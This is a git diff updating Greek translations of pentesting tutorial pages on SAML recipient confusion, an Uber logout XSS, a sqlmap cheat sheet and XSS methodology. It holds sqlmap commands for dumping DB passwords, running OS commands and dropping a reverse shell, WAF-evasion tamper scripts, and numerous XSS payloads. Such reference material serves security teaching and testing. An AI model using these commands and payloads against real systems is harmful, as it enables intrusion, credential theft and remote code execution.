/ Service Provider Target Confusion -Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επαληθεύει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίψει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη. +Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη. #### **How It Works** Για να είναι εφικτή μια επίθεση SAML Token Recipient Confusion (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Service Provider (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Service Provider (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Identity Provider που εξυπηρετεί τον SP-Legit. -Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit. +Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Identity Provider. Η SAML Response από τον Identity Provider προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη SAML Response, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Assertion από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit. ```python # Example to simulate interception and redirection of SAML Response def intercept_and_redirect_saml_response(saml_response, sp_target_url): @@ -246,13 +244,13 @@ return f"Failed to redirect SAML Response: {e}" ``` ## XSS στη λειτουργία Αποσύνδεσης -Η αρχική έρευνα μπορεί να προσπελαστεί μέσω [αυτού του συνδέσμου](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/). +Η αρχική έρευνα μπορεί να προσπελαστεί μέσω [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/). Κατά τη διαδικασία της βίαιης αναγκαστικής πρόσβασης σε καταλόγους, ανακαλύφθηκε μια σελίδα αποσύνδεσης στη: ``` https://carbon-prototype.uberinternal.com:443/oidauth/logout ``` -Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς: +Αφού αποκτήθηκε πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς: ``` https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 ``` diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index c3078489e..1cc2ba9d8 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -1,8 +1,10 @@ +# SQLMap + {{#include ../../banners/hacktricks-training.md}} -# Βασικά επιχειρήματα για το SQLmap +## Βασικά επιχειρήματα για το SQLmap -## Γενικά +### Γενικά ```bash -u "" -p "" @@ -19,9 +21,9 @@ --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` -## Ανάκτηση Πληροφοριών +### Ανάκτηση Πληροφοριών -### Εσωτερικό +#### Εσωτερικό ```bash --current-user #Get current user --is-dba #Check if current user is Admin @@ -29,7 +31,7 @@ --users #Get usernames od DB --passwords #Get passwords of users in DB ``` -### Δεδομένα DB +#### Δεδομένα DB ```bash --all #Retrieve everything --dump #Dump DBMS database table entries @@ -38,24 +40,24 @@ --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` -# Injection place +## Injection place -## Από την καταγραφή Burp/ZAP +### Από την καταγραφή του Burp/ZAP Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt ```bash sqlmap -r req.txt --current-user ``` -## Εισαγωγή Αιτήματος GET +### Εισαγωγή Αιτήματος GET ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` -## Εισαγωγή Αιτήματος POST +### Εισαγωγή Αιτήματος POST ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` -## Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP +### Εισαγωγές σε Κεφαλίδες και άλλες Μεθόδους HTTP ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" @@ -69,12 +71,12 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` -## Δεύτερη τάξη έγχυσης +### Δεύτερη τάξη έγχυσης ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` -## Κέλυφος +### Κέλυφος ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami @@ -85,7 +87,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` -## Σάρωση μιας ιστοσελίδας με το SQLmap και αυτόματη εκμετάλλευση +### Σάρωση μιας ιστοσελίδας με SQLmap και αυτόματη εκμετάλλευση ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 @@ -93,22 +95,22 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` -# Προσαρμογή Εισαγωγής +## Προσαρμογή Εισαγωγής -## Ορίστε ένα επίθημα +### Ορίστε ένα επίθημα ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` -## Πρόθεμα +### Πρόθεμα ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` -## Βοήθεια για την εύρεση boolean injection +### Βοήθεια για την εύρεση boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` -## Τροποποίηση +### Tamper ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper @@ -117,49 +119,49 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον πλήρη χαρακτήρα UTF-8 | | apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό χαρακτήρα unicode | -| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL byte στο τέλος του payload | -| base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε ένα δεδομένο payload | -| between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με 'NOT BETWEEN 0 AND \#' | +| appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος του payload | +| base64encode.py | Κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload σε Base64 | +| between.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('>'\) με 'NOT BETWEEN 0 AND \#' | | bluecoat.py | Αντικαθιστά τον χαρακτήρα κενό μετά τη δήλωση SQL με έναν έγκυρο τυχαίο κενό χαρακτήρα. Στη συνέχεια, αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE | -| chardoubleencode.py | Διπλά κωδικοποιεί όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) | +| chardoubleencode.py | Διπλά κωδικοποιεί όλα τα χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | | commalesslimit.py | Αντικαθιστά περιπτώσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' | -| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' | -| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | -| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) | -| charunicodeencode.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "%u0022" | -| charunicodeescape.py | Κωδικοποιεί Unicode-url μη κωδικοποιημένους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\). "\u0022" | +| commalessmid.py | Αντικαθιστά περιπτώσεις όπως 'MID\(A, B, C\)' με 'MID\(A FROM B FOR C\)' | +| concat2concatws.py | Αντικαθιστά περιπτώσεις όπως 'CONCAT\(A, B\)' με 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' | +| charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | +| charunicodeencode.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "%u0022" | +| charunicodeescape.py | Κωδικοποιεί URL χαρακτήρες που δεν έχουν κωδικοποιηθεί σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\). "\u0022" | | equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ίσο \('='\) με τον τελεστή 'LIKE' | -| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) | -| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από \('>'\) με τον αντίστοιχο 'GREATEST' | -| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί | +| escapequotes.py | Διαφεύγει τις αποστροφές \(' και "\) | +| greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερος από \('>'\) με τον αντίστοιχο 'GREATEST' | +| halfversionedmorekeywords.py | Προσθέτει σχολιασμό MySQL με έκδοση πριν από κάθε λέξη-κλειδί | | ifnull2ifisnull.py | Αντικαθιστά περιπτώσεις όπως 'IFNULL\(A, B\)' με 'IF\(ISNULL\(A\), B, A\)' | -| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση | -| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης | -| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL | +| modsecurityversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό με έκδοση | +| modsecurityzeroversioned.py | Περιβάλλει το πλήρες ερώτημα με σχολιασμό μηδενικής έκδοσης | +| multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL | | nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αναπαραστάσεις κατάλληλες για αντικατάσταση \(π.χ. .replace\("SELECT", ""\)\) φίλτρα | | percentage.py | Προσθέτει ένα ποσοστό \('%'\) μπροστά από κάθε χαρακτήρα | -| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(δεν επεξεργάζεται ήδη κωδικοποιημένους\) | +| overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε ένα δεδομένο payload \(χωρίς επεξεργασία ήδη κωδικοποιημένων\) | | randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με τυχαία τιμή κεφαλαίου | | randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL | -| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string | +| securesphere.py | Προσθέτει ειδικά κατασκευασμένο string | | sp_password.py | Προσθέτει 'sp_password' στο τέλος του payload για αυτόματη απόκρυψη από τα logs του DBMS | -| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια | -| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | -| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | -| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | +| space2comment.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλια | +| space2dash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | +| space2hash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | +| space2morehash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια τυχαία συμβολοσειρά και μια νέα γραμμή \('\n'\) | | space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | -| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) | +| space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με χαρακτήρα σήματος \('\#'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) | | space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | -| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με ένα σχόλιο παύλα \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) | -| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) | +| space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με σχόλιο παύλας \('--'\) ακολουθούμενο από μια νέα γραμμή \('\n'\) | +| space2plus.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με το σύμβολο συν \('+'\) | | space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενό \(' '\) με έναν τυχαίο κενό χαρακτήρα από ένα έγκυρο σύνολο εναλλακτικών χαρακτήρων | -| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς τους αντιστοίχους \(&& και | -| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT | +| symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντιστοίχους τους \(&& και | +| unionalltounion.py | Αντικαθιστά UNION ALL SELECT με UNION SELECT | | unmagicquotes.py | Αντικαθιστά τον χαρακτήρα απόστροφου \('\) με έναν συνδυασμό πολλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος \(για να λειτουργήσει\) | -| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' | +| uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδί με κεφαλαίο χαρακτήρα 'INSERT' | | varnish.py | Προσθέτει μια HTTP κεφαλίδα 'X-originating-IP' | -| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση | +| versionedkeywords.py | Περιβάλλει κάθε μη λειτουργική λέξη-κλειδί με σχολιασμό MySQL με έκδοση | | versionedmorekeywords.py | Περιβάλλει κάθε λέξη-κλειδί με σχολιασμό MySQL με έκδοση | -| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | +| xforwardedfor.py | Προσθέτει μια ψεύτικη HTTP κεφαλίδα 'X-Forwarded-For' | {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 54613b495..54af2bed9 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -1,5 +1,7 @@ # XSS (Cross Site Scripting) +{{#include /banners/hacktricks-training.md}} + ## Methodology 1. Ελέγξτε αν **οποιαδήποτε τιμή ελέγχετε** (_παράμετροι_, _μονοπάτι_, _κεφαλίδες_?, _cookies_?) **αντανάκλαται** στο HTML ή **χρησιμοποιείται** από **JS** κώδικα. @@ -43,21 +45,21 @@ debugging-client-side-js.md ## Contexts -Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους. +Όταν προσπαθείτε να εκμεταλλευτείτε μια XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι **πού αντανάκλαται η είσοδός σας**. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διάφορους τρόπους. ### Raw HTML Αν η είσοδός σας είναι **αντανάκλαση στην ακατέργαστη HTML** σελίδα θα χρειαστεί να εκμεταλλευτείτε κάποια **ετικέτα HTML** προκειμένου να εκτελέσετε κώδικα JS: `` είναι κωδικοποιημένο ή διαγραμμένο), ανάλογα με την ετικέτα θα μπορούσατε να **δημιουργήσετε ένα γεγονός** που εκτελεί κώδικα JS: `" autofocus onfocus=alert(1) x="` 3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`** -4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`** +4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`** Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης: ```html @@ -70,7 +72,7 @@ debugging-client-side-js.md Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **``** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**: - Αν ανακλάται μεταξύ των **``** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `` είναι μέσα στον κώδικα HTML. -- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): +- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -92,15 +94,15 @@ js-hoisting.md ### Javascript Function -Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`. +Πολλές ιστοσελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`. Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην κονσόλα για σφάλματα όπως: ![](<../../images/image (711).png>) -Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). +Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό ότι αυτά τα endpoints θα **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). -Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: +Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: ![](<../../images/image (747).png>) @@ -116,7 +118,7 @@ parentElement Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες. -Επομένως, προκειμένου να **καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**: +Επομένως, προκειμένου να **καταχραστείτε αυτήν την ευπάθεια σε διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md @@ -153,7 +155,7 @@ server-side-xss-dynamic-pdf.md Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_ -Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: +Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: ```html ` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. +Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. ### Διαφυγή ετικέτας \` μπορείς εύκολα να **διαφύγεις κλείνοντας την ετικέτα `` μπορείς εύκολα να **διαφύγεις κλείνοντας την ετικέτα ` ``` @@ -480,7 +482,7 @@ onbeforetoggle="alert(2)" /> ### Μέσα στον κώδικα JS -Εάν τα `<>` απολυμαίνονται, μπορείτε ακόμα να **διαφύγετε τη συμβολοσειρά** όπου η είσοδός σας είναι **τοποθετημένη** και να **εκτελέσετε αυθαίρετη JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη JS**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί: +Εάν τα `<>` απολυμαίνονται, μπορείτε ακόμα να **διαφύγετε τη συμβολοσειρά** όπου βρίσκεται η είσοδός σας και να **εκτελέσετε αυθαίρετη JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη JS**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -489,7 +491,7 @@ onbeforetoggle="alert(2)" /> ### Template literals \`\` Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\ -Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**: +Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS συμβολοσειρά που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**: Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας: ```javascript @@ -510,7 +512,7 @@ loop`` Πίνακας Ελέγχου -- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Ο Υπολογιστής Μου -- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Οι Δικτυακοί Τόποι Μου -- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer - -## Εμφάνιση Επεκτάσεων Αρχείων - -Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) - -# Τέχνασμα περιηγητών - -Αντίγραφα iKat εκδόσεων: - 